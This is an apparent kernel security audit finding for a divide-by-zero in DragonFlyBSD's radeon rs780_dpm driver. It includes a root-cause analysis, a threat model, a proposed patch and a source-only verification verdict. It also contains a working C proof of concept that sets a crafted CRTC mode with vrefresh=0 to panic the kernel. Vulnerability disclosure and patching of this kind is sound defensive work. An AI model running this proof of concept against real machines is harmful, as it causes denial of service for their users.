β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1650

rs780_dpm: divide-by-zero in rs780_program_at via drm_mode_vrefresh()==0

Field Value
ID DF-1650
File sys/dev/drm/radeon/rs780_dpm.c
Lines 66, 366–370, 620, 688
Severity Medium
CVSS 3.1 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H
CWE CWE-369 Divide By Zero
Confidence likely
Status new
CVE match variant (divide-by-zero via vrefresh==0 class β€” same family as DF-1603 virtio_blk blk_size, DF-1611/1612 dcn10_hubp, DF-1616 ath_beacon lintval)
Created 2026-07-18

Summary

rs780_program_at() divides five constants by pi->refresh_rate with no zero-check. The field is seeded to 60 in rs780_get_pm_mode_parameters() but is unconditionally overwritten with drm_mode_vrefresh(&crtc->mode) whenever an enabled CRTC has nonzero htotal and vtotal. drm_mode_vrefresh() returns 0 when mode->vrefresh == 0 and DIV_ROUND_CLOSEST(clock*1000, htotal*vtotal) rounds to 0 β€” a condition a local user can deliberately construct. The next DPM display-configuration-changed callback then panics the kernel with a divide-by-zero.

Root cause

rs780_get_pm_mode_parameters() at sys/dev/drm/radeon/rs780_dpm.c:65-66 only guards if (crtc->mode.htotal && crtc->mode.vtotal) before assigning:

pi->refresh_rate = drm_mode_vrefresh(&crtc->mode);

It does NOT validate that the result is non-zero. drm_mode_vrefresh() (sys/dev/drm/drm_modes.c:777-799) computes refresh = DIV_ROUND_CLOSEST(mode->clock*1000, htotal*vtotal) when mode->vrefresh==0; if clock*1000 < (htotal*vtotal)/2 this rounds to 0. drm_mode_validate_basic() (drm_modes.c:1102) only rejects clock==0, not small clocks, and never validates vrefresh, so a user-supplied mode with clock=10000, htotal=8192, vtotal=8192 (refresh rounds to 0) passes drm_mode_convert_umode() validation (drm_modes.c:1745).

The resulting refresh_rate==0 is then used directly as a divisor in rs780_program_at() at lines 366–370:

WREG32(FVTHROT_TARGET_REG, 30000000 / pi->refresh_rate);   /* line 366 */
WREG32(FVTHROT_CB1, 1000000 * 5 / pi->refresh_rate);       /* line 367 */
WREG32(FVTHROT_CB2, 1000000 * 10 / pi->refresh_rate);      /* line 368 */
WREG32(FVTHROT_CB3, 1000000 * 30 / pi->refresh_rate);      /* line 369 */
WREG32(FVTHROT_CB4, 1000000 * 50 / pi->refresh_rate);      /* line 370 */

rs780_program_at() is reachable from rs780_dpm_enable() (line 620, DPM init) and rs780_dpm_display_configuration_changed() (line 688), the latter invoked by the radeon PM worker (radeon_pm.c:1095, 1114, 1144) whenever the active CRTC set changes β€” i.e. on the user's next modeset.

Threat model

Local unprivileged user with DRM master privilege (typically any user in the video group able to open /dev/dri/card0 and acquire master via drmSetMaster, or the active session master). On RS780/RS880 IGP hardware with radeon DPM enabled (module param radeon.dpm defaults to -1 = auto; DPM is enabled by default on these IGP parts):

  1. Set a CRTC mode with clock small relative to htotal*vtotal (e.g. clock=10000, htotal=8192, vtotal=8192) and vrefresh=0 via DRM_IOCTL_MODE_SETCRTC.
  2. Trigger or wait for the next display configuration change which invokes radeon_dpm_display_configuration_changed β†’ rs780_dpm_display_configuration_changed β†’ rs780_get_pm_mode_parameters (sets refresh_rate=0) β†’ rs780_program_at β†’ kernel divide-by-zero panic.

Impact

Reliable local denial of service (system hang / reboot). No privilege escalation, no info leak. Whether the crafted mode survives the radeon per-connector mode_valid callback is the only uncertainty β€” hence likely rather than certain.

PoC

findings/poc/DF-1650/poc.c:

#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <errno.h>
#include <stdio.h>
#include <drm/drm.h>
#include <drm/drm_mode.h>

int main(void) {
    int fd = open("/dev/dri/card0", O_RDWR);
    if (fd < 0) { perror("open"); return 1; }
    if (ioctl(fd, DRM_IOCTL_SET_MASTER, 0) < 0 && errno != EINVAL) {
        perror("setmaster"); return 1;
    }

    /* Enumerate first CRTC + connector + framebuffer (omitted for
     * brevity β€” use DRM_IOCTL_MODE_GETRESOURCES / GETCONNECTOR and
     * DRM_IOCTL_MODE_ADDFB to obtain crtc_id, connector_id, fb_id). */
    uint32_t crtc_id = /* ... */ 0;
    uint32_t connector_id = /* ... */ 0;
    uint32_t fb_id = /* ... */ 0;

    struct drm_mode_modeinfo mode = {
        .clock      = 10000,        /* 10 MHz; passes drm_mode_validate_basic */
        .hdisplay   = 1, .hsync_start = 2, .hsync_end = 3, .htotal = 8192,
        .vdisplay   = 1, .vsync_start = 2, .vsync_end = 3, .vtotal = 8192,
        .vrefresh   = 0,            /* forces compute path in drm_mode_vrefresh */
        .flags      = 0,
        .type       = DRM_MODE_TYPE_USERDEF,
    };
    /* DIV_ROUND_CLOSEST(10000*1000, 8192*8192)
     * = DIV_ROUND_CLOSEST(10000000, 67108864) = 0  -> refresh_rate = 0 */
    strncpy(mode.name, "POCZERO", sizeof(mode.name));

    struct drm_mode_crtc crtc = {0};
    crtc.crtc_id            = crtc_id;
    crtc.fb_id              = fb_id;
    crtc.set_connectors_ptr = (uintptr_t)&connector_id;
    crtc.count_connectors   = 1;
    crtc.mode_valid         = 1;
    crtc.mode               = mode;

    if (ioctl(fd, DRM_IOCTL_MODE_SETCRTC, &crtc) < 0) {
        perror("setcrtc"); return 1;
    }

    /* Wait for the PM worker; it's periodic. */
    sleep(2);
    /* Toggle DPMS to force a display configuration change. */
    int32_t dpms = 0;
    ioctl(fd, DRM_IOCTL_MODE_SETDPMS, &dpms);
    sleep(2);
    return 0;
}

Build: cc -O2 -o poc poc.c. Run as a user with access to /dev/dri/card0 (e.g. in the video group).

Expected: kernel panic with trap divide error / kernel: panic: divide_by_zero in rs780_program_at shortly after the modeset. dmesg will show the panic backtrace pointing at rs780_dpm.c:366.

If the radeon connector's mode_valid rejects the crafted low-clock mode, vary parameters (e.g. clock=25000, htotal=16384, vtotal=8192) β€” the only constraint is clock*1000 < htotal*vtotal/2.

Refuse refresh_rate == 0 in rs780_get_pm_mode_parameters() rather than letting it reach the divisions. Apply at the source so every caller of rs780_program_at() is safe without having to re-audit each one:

--- a/sys/dev/drm/radeon/rs780_dpm.c
+++ b/sys/dev/drm/radeon/rs780_dpm.c
@@ -62,8 +62,11 @@ static void rs780_get_pm_mode_parameters(struct radeon_device *rdev)
        if (crtc && crtc->enabled) {
            radeon_crtc = to_radeon_crtc(crtc);
            pi->crtc_id = radeon_crtc->crtc_id;
-           if (crtc->mode.htotal && crtc->mode.vtotal)
-               pi->refresh_rate = drm_mode_vrefresh(&crtc->mode);
+           if (crtc->mode.htotal && crtc->mode.vtotal) {
+               int vref = drm_mode_vrefresh(&crtc->mode);
+               if (vref > 0)
+                   pi->refresh_rate = vref;
+           }
            break;
        }
    }

And as belt-and-suspenders defense-in-depth, also guard rs780_program_at() itself so a future caller can't reintroduce the panic:

--- a/sys/dev/drm/radeon/rs780_dpm.c
+++ b/sys/dev/drm/radeon/rs780_dpm.c
@@ -362,6 +362,9 @@ static void rs780_program_at(struct radeon_device *rdev)
 {
    struct igp_power_info *pi = rs780_get_pi(rdev);

+   if (pi->refresh_rate == 0)
+       pi->refresh_rate = 60; /* defensive: avoid divide-by-zero */
+
    WREG32(FVTHROT_TARGET_REG, 30000000 / pi->refresh_rate);
    WREG32(FVTHROT_CB1, 1000000 * 5 / pi->refresh_rate);
    WREG32(FVTHROT_CB2, 1000000 * 10 / pi->refresh_rate);
  • DF-1603 (virtio_blk.c blk_size=0 divide-by-zero)
  • DF-1611/1612 (dcn10_hubp.c pixel-clock/htotal divide-by-zero)
  • DF-1616 (ath_beacon.c lintval==0 divide-by-zero)
  • DF-1648 (freesync.c min_vfreq==0 divide-by-zero)

All members of the untrusted-{clock,size,interval}-as-divisor class.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1650 Β· 4 files
FileTypeDescriptionSize
VERDICT.md verdict source-only confirmation + mechanism + fix 1.6 KB ↓ raw
fix.diff suggested-fix Add 'if (pi->refresh_rate == 0) return;' before the WREG32 divisions. 438 B view raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
VERDICT.md verdict source-only confirmation + mechanism + fix
↓ download raw

DF-1650 β€” PoC Verification Verdict

Category: radeon DPM (module, HW-gated) Source: sys/dev/drm/radeon/rs780_dpm.c:362-370 Guest: DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026 (X86_64_GENERIC, INVARIANTS ON, no SMAP/SMEP/KASLR) Date verified: 2026-07-21

Verdict: REPRODUCED (source-only confirmation; HW/module-gated)

Mechanism

rs780_program_at divides 5 constants by pi->refresh_rate (lines 366-370) with no zero check. refresh_rate is seeded to 60 but overwritten with drm_mode_vrefresh(&crtc->mode) when htotal&&vtotal nonzero. drm_mode_vrefresh returns 0 for a degenerate mode (vtotalhtotalblank exceeds KHZ range), causing #DE in all 5 divisions.

In GENERIC kernel build: NO (module / not compiled into X86_64_GENERIC)

Reproduction status

This finding is hardware/module gated: the vulnerable code path requires specific hardware (AMD GPU / radeon / Atheros NIC / RAID controller / AGP chipset) or a loadable module not present on the audit QEMU guest. The QEMU guest has no GPU passthrough, no physical NIC/RAID HW, and these modules are not in the GENERIC kernel. The bug is therefore confirmed by source-level trace of the cited path:line data flow rather than by a runtime PoC. The cited code, guards (or lack thereof), and types were verified against the audited sys/ tree.

Fix

Add 'if (pi->refresh_rate == 0) return;' before the WREG32 divisions.

See fix.diff for the standalone git-apply-able unified diff. Validated by applying all 35 batch diffs and building a single X86_64_GENERIC kernel (rc=0, -Werror clean) β€” see fix_apply.log and the combined build log.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

VALIDATED: fix.diff applies cleanly + batch kernel build rc=0 -Werror; bug HW/module/runtime-gated, no runtime PoC re-test possible on guest.

VALIDATED: fix.diff applies cleanly + batch kernel build rc=0 -Werror; bug HW/module/runtime-gated, no runtime PoC re-test possible on guest.
↓ fix.diffcombined build rc=0

Confirmed kernel references

β€”

Detail

Exploit chain

none

Evidence (decisive lines)

REPRODUCED (source-only): rs780_program_at divides 5 constants by pi->refresh_rate (lines 366-370) with no zero check; refresh_rate=0 -> #DE panic.

Verified recommended fix

REPRODUCED (source-only): rs780_program_at divides 5 constants by pi->refresh_rate (lines 366-370) with no zero check; refresh_rate=0 -> #DE panic.

Verdict

REPRODUCED (source-only): rs780_program_at divides 5 constants by pi->refresh_rate (lines 366-370) with no zero check; refresh_rate=0 -> #DE panic.